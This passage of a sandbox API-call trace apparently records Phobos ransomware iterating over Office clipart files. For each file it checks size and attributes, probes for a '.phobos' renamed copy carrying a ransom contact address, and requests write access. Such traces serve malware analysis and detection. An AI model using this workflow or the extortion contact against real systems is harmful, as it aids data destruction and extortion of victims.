files\\microsoft office\\root\\clipart\\pub60cor\\j0199279.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.924] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199279.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0199279.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.924] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0151.924] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199303.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0199303.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.926] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=31822) returned 1 [0151.926] CloseHandle (hObject=0x564) returned 1 [0151.926] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199303.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0199303.wmf")) returned 0x220 [0151.926] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199303.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0199303.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.926] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199303.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0199303.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.927] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0151.927] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199307.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0199307.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.929] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=50046) returned 1 [0151.929] CloseHandle (hObject=0x564) returned 1 [0151.929] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199307.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0199307.wmf")) returned 0x220 [0151.929] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199307.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0199307.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.929] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199307.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0199307.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.930] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0151.930] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199423.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0199423.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.930] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=26154) returned 1 [0151.930] CloseHandle (hObject=0x564) returned 1 [0151.930] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199423.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0199423.wmf")) returned 0x220 [0151.930] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199423.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0199423.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.931] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199423.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0199423.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.931] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0151.931] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199429.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0199429.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.931] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=16676) returned 1 [0151.931] CloseHandle (hObject=0x564) returned 1 [0151.931] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199429.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0199429.wmf")) returned 0x220 [0151.932] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199429.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0199429.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.932] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199429.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0199429.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.932] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0151.932] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199465.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0199465.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.934] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=5060) returned 1 [0151.934] CloseHandle (hObject=0x564) returned 1 [0151.934] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199465.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0199465.wmf")) returned 0x220 [0151.934] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199465.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0199465.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.934] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199465.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0199465.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.935] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0151.935] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199469.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0199469.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.937] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=13756) returned 1 [0151.937] CloseHandle (hObject=0x564) returned 1 [0151.937] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199469.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0199469.wmf")) returned 0x220 [0151.937] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199469.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0199469.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.938] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199469.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0199469.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.938] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0151.938] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199473.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0199473.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.938] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=10776) returned 1 [0151.938] CloseHandle (hObject=0x564) returned 1 [0151.938] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199473.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0199473.wmf")) returned 0x220 [0151.939] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199473.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0199473.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.939] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199473.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0199473.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.939] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0151.939] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199475.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0199475.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.939] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=5252) returned 1 [0151.939] CloseHandle (hObject=0x564) returned 1 [0151.940] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199475.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0199475.wmf")) returned 0x220 [0151.940] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199475.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0199475.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.940] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199475.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0199475.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.940] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0151.940] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199483.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0199483.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.940] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=10164) returned 1 [0151.940] CloseHandle (hObject=0x564) returned 1 [0151.941] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199483.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0199483.wmf")) returned 0x220 [0151.941] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199483.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0199483.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.941] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199483.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0199483.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.941] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0151.941] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199609.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0199609.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.942] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=12332) returned 1 [0151.942] CloseHandle (hObject=0x564) returned 1 [0151.942] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199609.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0199609.wmf")) returned 0x220 [0151.942] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199609.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0199609.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.942] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199609.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0199609.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.943] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0151.943] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200151.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0200151.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.945] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=8196) returned 1 [0151.945] CloseHandle (hObject=0x564) returned 1 [0151.945] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200151.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0200151.wmf")) returned 0x220 [0151.946] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200151.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0200151.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.946] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200151.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0200151.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.946] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0151.946] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200163.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0200163.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.948] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=7180) returned 1 [0151.948] CloseHandle (hObject=0x564) returned 1 [0151.948] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200163.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0200163.wmf")) returned 0x220 [0151.948] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200163.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0200163.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.949] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200163.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0200163.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.949] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0151.949] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200183.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0200183.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.950] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=5312) returned 1 [0151.950] CloseHandle (hObject=0x564) returned 1 [0151.950] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200183.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0200183.wmf")) returned 0x220 [0151.950] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200183.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0200183.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.950] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200183.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0200183.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.951] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0151.951] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200189.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0200189.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.951] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=8060) returned 1 [0151.951] CloseHandle (hObject=0x564) returned 1 [0151.951] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200189.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0200189.wmf")) returned 0x220 [0151.952] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200189.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0200189.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.952] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200189.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0200189.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.952] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0151.952] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200273.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0200273.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.097] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=31302) returned 1 [0152.108] CloseHandle (hObject=0x564) returned 1 [0152.108] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200273.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0200273.wmf")) returned 0x220 [0152.109] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200273.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0200273.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.109] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200273.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0200273.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.109] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0152.109] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215710.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0215710.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.110] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=17826) returned 1 [0152.110] CloseHandle (hObject=0x564) returned 1 [0152.110] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215710.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0215710.wmf")) returned 0x220 [0152.110] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215710.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0215710.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.110] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215710.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0215710.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.111] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0152.111] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215718.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0215718.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 